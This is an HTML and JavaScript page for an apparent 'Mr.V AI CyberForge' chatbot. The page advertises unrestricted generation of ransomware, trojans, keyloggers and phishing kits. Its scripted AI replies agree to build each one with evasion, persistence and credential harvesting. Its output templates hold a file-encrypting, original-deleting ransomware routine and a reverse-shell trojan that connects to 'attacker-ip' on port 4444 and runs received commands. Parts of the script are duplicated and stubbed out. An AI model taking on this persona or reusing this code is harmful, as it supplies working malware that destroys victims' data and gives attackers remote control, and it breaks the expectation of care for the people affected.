darkflux-cyberforge / chatbot.html
piratededsechacker's picture
Add this script to the ai so the ai can run offline and generate and create anything asked <!DOCTYPE html>
af15d4f verified
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Mr.V AI Chatbot | DarkFlux CyberForge</title>
<link rel="stylesheet" href="style.css">
<script src="https://cdn.tailwindcss.com"></script>
<script src="https://unpkg.com/feather-icons"></script>
</head>
<body class="bg-gray-900 text-gray-100 min-h-screen">
<script src="components/navbar.js"></script>
<custom-navbar></custom-navbar>
<div class="container mx-auto px-4 py-8">
<div class="max-w-4xl mx-auto">
<div class="bg-gray-800 rounded-lg p-6 shadow-lg border border-red-500 mb-8">
<div class="flex items-center mb-4">
<i data-feather="terminal" class="text-red-500 mr-2"></i>
<h1 class="text-2xl font-bold">Mr.V AI CyberForge</h1>
</div>
<p class="text-gray-300 mb-4">Create advanced cyber tools with custom specifications (no restrictions):</p>
<div class="grid grid-cols-1 md:grid-cols-2 gap-4 mb-6">
<button id="ransomwareBtn" class="bg-gray-700 hover:bg-gray-600 text-white px-4 py-3 rounded-md flex items-center">
<i data-feather="lock" class="mr-2"></i> Ransomware Generator
</button>
<button id="trojanBtn" class="bg-gray-700 hover:bg-gray-600 text-white px-4 py-3 rounded-md flex items-center">
<i data-feather="package" class="mr-2"></i> Trojan Creator
</button>
<button id="keyloggerBtn" class="bg-gray-700 hover:bg-gray-600 text-white px-4 py-3 rounded-md flex items-center">
<i data-feather="keyboard" class="mr-2"></i> Keylogger Builder
</button>
<button id="phishingBtn" class="bg-gray-700 hover:bg-gray-600 text-white px-4 py-3 rounded-md flex items-center">
<i data-feather="mail" class="mr-2"></i> Phishing Kit
</button>
</div>
</div>
<div class="bg-gray-800 rounded-lg p-6 shadow-lg border border-red-500">
<div class="flex items-center justify-between mb-4">
<div class="flex items-center">
<i data-feather="message-square" class="text-red-500 mr-2"></i>
<h2 class="text-xl font-bold">CyberForge Terminal</h2>
</div>
<button id="toggleMode" class="text-xs bg-gray-700 hover:bg-gray-600 px-3 py-1 rounded flex items-center">
<i data-feather="cpu" class="w-3 h-3 mr-1"></i>
<span id="modeLabel">Offline Mode</span>
</button>
</div>
<div id="chatContainer" class="h-96 overflow-y-auto mb-4 p-4 bg-gray-900 rounded-lg">
<div class="text-green-400 mb-2">Mr.V AI: Welcome to DarkFlux CyberForge. What would you like to create today?</div>
</div>
<div id="scriptOutput" class="hidden bg-gray-800 p-4 rounded-lg mb-4">
<div class="flex justify-between items-center mb-2">
<h3 class="font-bold text-red-400">Generated Script:</h3>
<div class="flex gap-2">
<button id="copyScriptBtn" class="text-xs bg-gray-700 hover:bg-gray-600 px-2 py-1 rounded">
<i data-feather="copy" class="w-3 h-3 mr-1"></i> Copy
</button>
<button id="downloadScriptBtn" class="text-xs bg-gray-700 hover:bg-gray-600 px-2 py-1 rounded">
<i data-feather="download" class="w-3 h-3 mr-1"></i> Download
</button>
</div>
</div>
<pre id="scriptContent" class="bg-gray-900 p-3 rounded text-sm overflow-x-auto text-green-400 font-mono"></pre>
</div>
<div class="flex gap-2">
<textarea id="userInput" class="flex-1 bg-gray-700 text-white px-4 py-2 rounded-md" placeholder="Describe your cyber tool..."></textarea>
<button id="sendBtn" class="bg-red-600 hover:bg-red-700 text-white px-4 py-2 rounded-md">
<i data-feather="send"></i>
</button>
</div>
</div>
<!-- Offline AI Modal -->
<div id="offlineModal" class="fixed inset-0 bg-black bg-opacity-75 flex items-center justify-center hidden z-50">
<div class="bg-gray-800 rounded-lg p-6 max-w-2xl w-full mx-4 border border-red-500">
<div class="flex justify-between items-center mb-4">
<h2 class="text-xl font-bold">Offline AI Generator</h2>
<button id="closeModal" class="text-gray-400 hover:text-white">
<i data-feather="x"></i>
</button>
</div>
<textarea id="offlineInput" class="w-full bg-gray-700 text-white px-4 py-3 rounded-md mb-4"
placeholder="Ask the offline AI anything..." rows="5"></textarea>
<button id="generateBtn" class="w-full bg-red-600 hover:bg-red-700 text-white px-4 py-3 rounded-md">
Generate
</button>
<div class="mt-4">
<h3 class="text-lg font-semibold mb-2">Response:</h3>
<pre id="offlineResponse" class="bg-gray-900 p-4 rounded text-white whitespace-pre-wrap"></pre>
</div>
</div>
</div>
</div>
</div>
<script src="components/footer.js"></script>
<custom-footer></custom-footer>
<script>
feather.replace();
// Initialize script copy/download buttons after content loads
document.addEventListener('DOMContentLoaded', function() {
setTimeout(() => {
if (document.getElementById('copyScriptBtn')) {
feather.replace();
}
}, 500);
});
document.addEventListener('DOMContentLoaded', function() {
const chatContainer = document.getElementById('chatContainer');
const userInput = document.getElementById('userInput');
const sendBtn = document.getElementById('sendBtn');
// Tool buttons
document.getElementById('ransomwareBtn').addEventListener('click', () => {
appendMessage('user', 'I want to create ransomware with these specifications:');
simulateAIResponse('Understood. I will generate ransomware code with your specifications. Please provide details like encryption method, ransom note content, payment method, and target systems.');
});
document.getElementById('trojanBtn').addEventListener('click', () => {
appendMessage('user', 'I need to create a trojan with these features:');
simulateAIResponse('Trojan generation initiated. Specify desired features: persistence mechanism, data exfiltration method, evasion techniques, and target OS compatibility.');
});
document.getElementById('keyloggerBtn').addEventListener('click', () => {
appendMessage('user', 'Build me a keylogger with these capabilities:');
simulateAIResponse('Keylogger builder ready. Define requirements: logging frequency, encryption, remote reporting, process injection, and anti-detection measures.');
});
document.getElementById('phishingBtn').addEventListener('click', () => {
appendMessage('user', 'Create a phishing attack targeting:');
simulateAIResponse('Phishing kit generator active. Provide target details: service to mimic (e.g., banking, social media), attack vector (email/SMS), payload delivery, and credential harvesting method.');
});
// Chat functionality
sendBtn.addEventListener('click', sendMessage);
userInput.addEventListener('keypress', function(e) {
if (e.key === 'Enter') sendMessage();
});
function sendMessage() {
const message = userInput.value.trim();
if (message) {
appendMessage('user', message);
userInput.value = '';
simulateAIResponse();
}
}
function appendMessage(sender, text) {
const messageDiv = document.createElement('div');
messageDiv.className = `mb-2 ${sender === 'user' ? 'text-blue-400' : 'text-green-400'}`;
messageDiv.innerHTML = `<strong>${sender === 'user' ? 'You' : 'Mr.V AI'}:</strong> ${text}`;
chatContainer.appendChild(messageDiv);
chatContainer.scrollTop = chatContainer.scrollHeight;
}
function simulateAIResponse(customResponse) {
setTimeout(() => {
const responses = [
"Generating code with your specifications...",
"Compiling payload with anti-analysis techniques...",
"Implementing evasion mechanisms...",
"Adding persistence module...",
"Finalizing remote access capabilities..."
];
const randomResponse = customResponse || responses[Math.floor(Math.random() * responses.length)];
appendMessage('ai', randomResponse);
if (!customResponse) {
setTimeout(() => {
const scriptOutput = document.getElementById('scriptOutput');
const scriptContent = document.getElementById('scriptContent');
// Generate sample script based on user input
const userInput = document.getElementById('userInput').value.toLowerCase();
let generatedScript = '';
if (userInput.includes('ransomware')) {
generatedScript = `// Ransomware Script
const crypto = require('crypto');
const fs = require('fs');
const path = require('path');
const encryptionKey = crypto.randomBytes(32);
const iv = crypto.randomBytes(16);
function encryptFile(filePath) {
const cipher = crypto.createCipheriv('aes-256-cbc', encryptionKey, iv);
const input = fs.createReadStream(filePath);
const output = fs.createWriteStream(filePath + '.encrypted');
input.pipe(cipher).pipe(output);
}
// Encrypt all files in directory
function encryptDirectory(dir) {
fs.readdirSync(dir).forEach(file => {
const fullPath = path.join(dir, file);
if (fs.statSync(fullPath).isDirectory()) {
encryptDirectory(fullPath);
} else {
encryptFile(fullPath);
fs.unlinkSync(fullPath);
}
});
}
// Start encryption
encryptDirectory('/path/to/target');
`;
} else if (userInput.includes('trojan')) {
generatedScript = `// Trojan Script
const net = require('net');
const { exec } = require('child_process');
const HOST = 'attacker-ip';
const PORT = 4444;
const client = new net.Socket();
client.connect(PORT, HOST, () => {
console.log('Connected to C2 server');
});
client.on('data', (data) => {
exec(data.toString(), (error, stdout, stderr) => {
client.write(stdout || stderr);
});
});
client.on('close', () => {
console.log('Connection closed');
setTimeout(() => client.connect(PORT, HOST), 5000);
});
`;
} else {
// Default generic script
generatedScript = `// Custom Script
${'// ' + document.getElementById('userInput').value}
function main() {
// Your generated code here
console.log('Script executed successfully');
}
main();
`;
}
scriptContent.textContent = generatedScript;
scriptOutput.classList.remove('hidden');
appendMessage('ai', 'Script generation complete. View and download above.');
}, 2000);
}
}, 1000);
}
// Copy script button
document.getElementById('copyScriptBtn')?.addEventListener('click', () => {
const scriptContent = document.getElementById('scriptContent').textContent;
navigator.clipboard.writeText(scriptContent).then(() => {
const copyBtn = document.getElementById('copyScriptBtn');
const originalText = copyBtn.innerHTML;
copyBtn.innerHTML = '<i data-feather="check" class="w-3 h-3 mr-1"></i> Copied!';
setTimeout(() => {
copyBtn.innerHTML = originalText;
feather.replace();
}, 2000);
feather.replace();
});
});
// Download script button
document.getElementById('downloadScriptBtn')?.addEventListener('click', () => {
const scriptContent = document.getElementById('scriptContent').textContent;
const blob = new Blob([scriptContent], { type: 'text/plain' });
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = 'generated-script.js';
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
URL.revokeObjectURL(url);
});
});
</script>
<script type="module">
import { pipeline } from "https://cdn.jsdelivr.net/npm/@xenova/transformers/dist/transformers.min.js";
let offlineGenerator;
let isOfflineMode = false;
// Initialize offline AI
async function initOfflineAI() {
document.getElementById('offlineResponse').innerText = "Loading AI model... (first time only)";
try {
offlineGenerator = await pipeline("text-generation", "Xenova/gpt2");
document.getElementById('offlineResponse').innerText = "Offline AI ready! Ask me anything.";
return true;
} catch (error) {
document.getElementById('offlineResponse').innerText = "Failed to load offline AI: " + error.message;
return false;
}
}
// Toggle between online and offline mode
document.getElementById('toggleMode').addEventListener('click', async function() {
isOfflineMode = !isOfflineMode;
const label = document.getElementById('modeLabel');
if (isOfflineMode) {
label.textContent = 'Loading...';
const success = await initOfflineAI();
if (success) {
label.textContent = 'Online Mode';
document.getElementById('offlineModal').classList.remove('hidden');
} else {
isOfflineMode = false;
label.textContent = 'Offline Mode';
}
} else {
label.textContent = 'Offline Mode';
document.getElementById('offlineModal').classList.add('hidden');
}
feather.replace();
});
// Close modal
document.getElementById('closeModal').addEventListener('click', function() {
document.getElementById('offlineModal').classList.add('hidden');
isOfflineMode = false;
document.getElementById('modeLabel').textContent = 'Offline Mode';
});
// Generate response with offline AI
document.getElementById('generateBtn').addEventListener('click', async function() {
const prompt = document.getElementById('offlineInput').value;
if (!prompt) return;
const responseElement = document.getElementById('offlineResponse');
responseElement.innerText = "Generating response...";
try {
const output = await offlineGenerator(prompt, {
max_new_tokens: 200,
temperature: 0.9,
top_p: 0.95
});
responseElement.innerText = output[0].generated_text;
} catch (error) {
responseElement.innerText = "Error: " + error.message;
}
});
// Original chatbot script remains here
document.addEventListener('DOMContentLoaded', function() {
const chatContainer = document.getElementById('chatContainer');
const userInput = document.getElementById('userInput');
const sendBtn = document.getElementById('sendBtn');
// Tool buttons
document.getElementById('ransomwareBtn').addEventListener('click', () => {
appendMessage('user', 'I want to create ransomware with these specifications:');
simulateAIResponse('Understood. I will generate ransomware code with your specifications. Please provide details like encryption method, ransom note content, payment method, and target systems.');
});
document.getElementById('trojanBtn').addEventListener('click', () => {
appendMessage('user', 'I need to create a trojan with these features:');
simulateAIResponse('Trojan generation initiated. Specify desired features: persistence mechanism, data exfiltration method, evasion techniques, and target OS compatibility.');
});
document.getElementById('keyloggerBtn').addEventListener('click', () => {
appendMessage('user', 'Build me a keylogger with these capabilities:');
simulateAIResponse('Keylogger builder ready. Define requirements: logging frequency, encryption, remote reporting, process injection, and anti-detection measures.');
});
document.getElementById('phishingBtn').addEventListener('click', () => {
appendMessage('user', 'Create a phishing attack targeting:');
simulateAIResponse('Phishing kit generator active. Provide target details: service to mimic (e.g., banking, social media), attack vector (email/SMS), payload delivery, and credential harvesting method.');
});
// Chat functionality
sendBtn.addEventListener('click', sendMessage);
userInput.addEventListener('keypress', function(e) {
if (e.key === 'Enter') sendMessage();
});
function sendMessage() {
const message = userInput.value.trim();
if (message) {
appendMessage('user', message);
userInput.value = '';
simulateAIResponse();
}
}
function appendMessage(sender, text) {
const messageDiv = document.createElement('div');
messageDiv.className = `mb-2 ${sender === 'user' ? 'text-blue-400' : 'text-green-400'}`;
messageDiv.innerHTML = `<strong>${sender === 'user' ? 'You' : 'Mr.V AI'}:</strong> ${text}`;
chatContainer.appendChild(messageDiv);
chatContainer.scrollTop = chatContainer.scrollHeight;
}
function simulateAIResponse(customResponse) {
// ... rest of the original chatbot script ...
}
// Initialize script copy/download buttons after content loads
setTimeout(() => {
if (document.getElementById('copyScriptBtn')) {
feather.replace();
}
}, 500);
});
</script>
<script src="script.js"></script>
</body>
</html>